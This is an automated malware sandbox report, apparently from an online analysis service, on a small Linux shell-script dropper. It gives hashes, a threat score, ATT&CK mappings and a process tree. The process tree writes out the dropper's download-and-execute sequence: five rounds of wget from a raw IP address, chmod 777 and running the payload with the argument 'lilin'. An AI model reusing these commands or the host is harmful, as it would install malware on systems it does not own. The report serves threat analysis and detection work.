679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d

Analysis

max time kernel
5s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/07/2026, 14:35

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General

Target
679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
Size 844B
Sample260724-ryd2tasdje
SHA256 679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d
MD5 917ef216e07b487ee07cf764cae8987f
SHA1 4bd6cce58f1fa8915266cdc03245d8dbb758ae4c
SHA512 8ed114b2195b9be7cb5e758c011d3964096819b32206d82447fe5bd0db2bd2348755ea4145a34715d3879b94a46ddbfeadcd91972d9bb86346a18275942f8e23
TLSH
T1F201AFC6D5105910409E986E27A75055F920C3C7165A4F75BF5C742D9B94E04B06EFA4
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
769	chmod
785	chmod
797	chmod
803	chmod
808	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/Nlil	770	679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
/tmp/ZnY	787	679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
/tmp/Ah5	798	679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
/tmp/dPU3	804	679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
/tmp/vCy	809	679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Nlil	wget
File opened for modification	/tmp/ZnY	wget
File opened for modification	/tmp/Ah5	wget
File opened for modification	/tmp/dPU3	wget
File opened for modification	/tmp/vCy	wget
File opened for modification	/tmp/lil	679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh

/tmp/679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
/tmp/679eb65cb6ac01b30303b1148dd11a3925d07d69d70a4163ded7fc93e0e70a9d.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:647
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:649
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:654
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  - Reads runtime system information
  PID:662
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/113/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/151/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/162/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/235/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/293/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/299/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/330/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/333/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/570/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/589/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/590/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/rm
  rm -rf Nlil
  2⤵
  PID:760
- /usr/bin/wget
  wget http://129.121.110.105/Nlil
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 Nlil
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/Nlil
  ./Nlil lilin
  2⤵
  PID:770
- /bin/sh
  /bin/sh ./Nlil lilin
  2⤵
  PID:770
- /bin/rm
  rm -rf ZnY
  2⤵
  PID:773
- /usr/bin/wget
  wget http://129.121.110.105/ZnY
  2⤵
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod 777 ZnY
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/ZnY
  ./ZnY lilin
  2⤵
  PID:787
- /bin/sh
  /bin/sh ./ZnY lilin
  2⤵
  PID:787
- /bin/rm
  rm -rf Ah5
  2⤵
  PID:789
- /usr/bin/wget
  wget http://129.121.110.105/Ah5
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 Ah5
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/Ah5
  ./Ah5 lilin
  2⤵
  PID:798
- /bin/sh
  /bin/sh ./Ah5 lilin
  2⤵
  PID:798
- /bin/rm
  rm -rf dPU3
  2⤵
  PID:800
- /usr/bin/wget
  wget http://129.121.110.105/dPU3
  2⤵
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 dPU3
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/dPU3
  ./dPU3 lilin
  2⤵
  PID:804
- /bin/sh
  /bin/sh ./dPU3 lilin
  2⤵
  PID:804
- /bin/rm
  rm -rf vCy
  2⤵
  PID:806
- /usr/bin/wget
  wget http://129.121.110.105/vCy
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 vCy
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/vCy
  ./vCy lilin
  2⤵
  PID:809
- /bin/sh
  /bin/sh ./vCy lilin
  2⤵
  PID:809
- /bin/rm
  rm -rf lil
  2⤵
  PID:811

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Nlil

Path /tmp/Nlil
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512